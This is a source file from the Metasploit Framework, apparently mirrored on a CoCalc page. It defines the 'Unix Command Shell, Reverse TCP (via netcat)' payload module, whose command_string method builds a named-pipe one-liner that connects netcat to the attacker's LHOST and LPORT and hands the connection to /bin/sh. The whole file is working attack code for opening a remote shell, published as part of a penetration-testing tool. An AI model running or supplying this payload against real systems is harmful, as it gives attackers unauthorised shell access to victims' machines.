CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_netcat.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Unix Command Shell, Reverse TCP (via netcat)',
17
'Description' => 'Creates an interactive shell via netcat',
18
'Author' =>
19
[
20
'm-1-k-3',
21
'egypt',
22
'juan vazquez'
23
],
24
'License' => MSF_LICENSE,
25
'Platform' => 'unix',
26
'Arch' => ARCH_CMD,
27
'Handler' => Msf::Handler::ReverseTcp,
28
'Session' => Msf::Sessions::CommandShell,
29
'PayloadType' => 'cmd',
30
'RequiredCmd' => 'netcat',
31
'Payload' =>
32
{
33
'Offsets' => { },
34
'Payload' => ''
35
}
36
))
37
register_advanced_options(
38
[
39
OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),
40
OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
41
]
42
)
43
end
44
45
#
46
# Constructs the payload
47
#
48
def generate(_opts = {})
49
vprint_good(command_string)
50
return super + command_string
51
end
52
53
#
54
# Returns the command string to use for execution
55
#
56
def command_string
57
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
58
"mkfifo /tmp/#{backpipe}; #{datastore['NetcatPath']} #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | #{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
59
end
60
end
61
62